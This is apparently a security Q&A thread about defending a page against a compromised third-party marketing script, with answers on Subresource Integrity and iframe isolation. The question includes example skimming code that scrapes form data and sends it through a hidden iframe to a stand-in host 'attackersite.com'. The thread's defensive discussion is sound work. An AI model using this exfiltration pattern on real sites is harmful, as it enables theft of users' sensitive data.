2

Assume we have a webpage with sensitive data. The page uses a marketing partner advertisingpartner.com which collects data via third-party cookies in a foreign iframe. We have applied a relatively strict CSP:

connect-src 'self';
frame-ancestors 'self';
frame-src 'self' https://advertisingpartner.com;
media-src 'self';
object-src 'none';
script-src 'self' 'unsafe-inline' https://advertisingpartner.com;
style-srce 'self' 'unsafe-inline';

The marketing script is then loaded via a normal script tag and injects an iframe. Now suppose that the marketing partner is compromised, and code is added to create an instance of the tracking iframe:

var data = scrape_sensitive_data_from_forms();
var frame = document.createElement("iframe");
frame.id = "attackerframe";
frame.style.display = "none";
frame.onload = function() {
  document.getElementById("attackerframe").contentWindow.postMessage(data, "https://advertisingpartner.com");
};
frame.src = "https://advertisingpartner.com/trackingframe.html";
document.body.appendChild(frame);

Their tracking frame has appropriate message-receiving capabilities added to retrieve and exfiltrate the data. It is under a different domain than the main site and thus does not have the CSP applied to it:

function receiveMessage(event) {
  var req = new XMLHttpRequest();
  req.open("POST", "https://attackersite.com/collectsensitivedata.php", true);
  req.send(event.data);
}

window.addEventListener("message", receiveMessage, false);

What can save me from this attack?

matoro
  • 166
  • 8

1 Answers1

2

You allow the advertising partner’s code in the context of your page, giving it full access to the DOM and everything on the page. If the script is compromised and you load it there isn’t much you can do. There is however, a way to detect if the script you are including has been altered from a previously known state. This is called Subresource Integrity.

This way, if your partner is compromised and his script has changed you instruct the browsers not to load it. This obviously has its drawbacks.

For one, your partner won’t be capable of updating their script on your site without your help (unless they use the loader which inserts scripts).

If the partner is using a loader with SRI that will work. The loader loads other scripts, hopefully with SRI. You can use CSP’s require-sri-for directive to demand SRI for all resources.

Keep in mind though, if the partner is compromised and the loader behaves dynamically, even with SRI, he will most likely be able to run malicious scripts on your site. He simply needs to generate the integrity tags for the malicious scripts.

What can save me from this attack?

Your best bet is to utilize SRI for their script and hope it is static. If however, it behaves dynamically (loading other scripts, inserting an iframe and communicating with it) then there isn’t much you can do.

As an alternative you can ask them to create a compact version of the script for you and host it yourself.

Daniel Szpisjak
  • 1,825
  • 10
  • 19
  • SRI was suggested, but the partner's script is updated very frequently, daily at minimum and sometimes hourly. Some context - this is in response to a vendor which claims their JS tag is the only way to defend against this attack, and that it can't be stopped with native browser standards. Would you then consider this claim accurate? – matoro Mar 01 '19 at 18:54
  • It highly depends on their setup. If they update their script frequently than SRI is no-go. If they require their script to be run on your domain than it is true that you can’t do much upon a compromise. If however, it would be possible to run their script in an IFRAME and restrict communications with it (not to leak sensitive info) that would be a solution as Same Origin Policy would protect your site. This requires that their workflow support such a use-case. – Daniel Szpisjak Mar 01 '19 at 21:04
  • Thank you for continuing to further elaborate - the use case of the partner precludes restricting them to an iframe, and even if it didn't there are always new tags being added and removed and tags are free to add 4th, 5th-parties and beyond as they please. Given a Magecart-style attack, this vendor claims they can stop all tags from reading the sensitive parts of the DOM in the first place, as opposed to my proposition of stopping them from sending anything where they're not supposed to. Is my proposal dead in the water, and does theirs have merit? – matoro Mar 03 '19 at 04:07
  • It is possible to load a single script on your domain which creates and IFRAME where every other advertiser is loaded and use postMessage to communicate them. This restricts everyone in the IFRAME from accessing your site's DOM directly. The initial script can act as a proxy, creating an access control layer. This only protects you from those loaded in the IFRAME. The initial script's compromise will still lead to code execution within the context of your page. Without seeing anything specific it is hard to go beyond guessing. – Daniel Szpisjak Mar 03 '19 at 14:43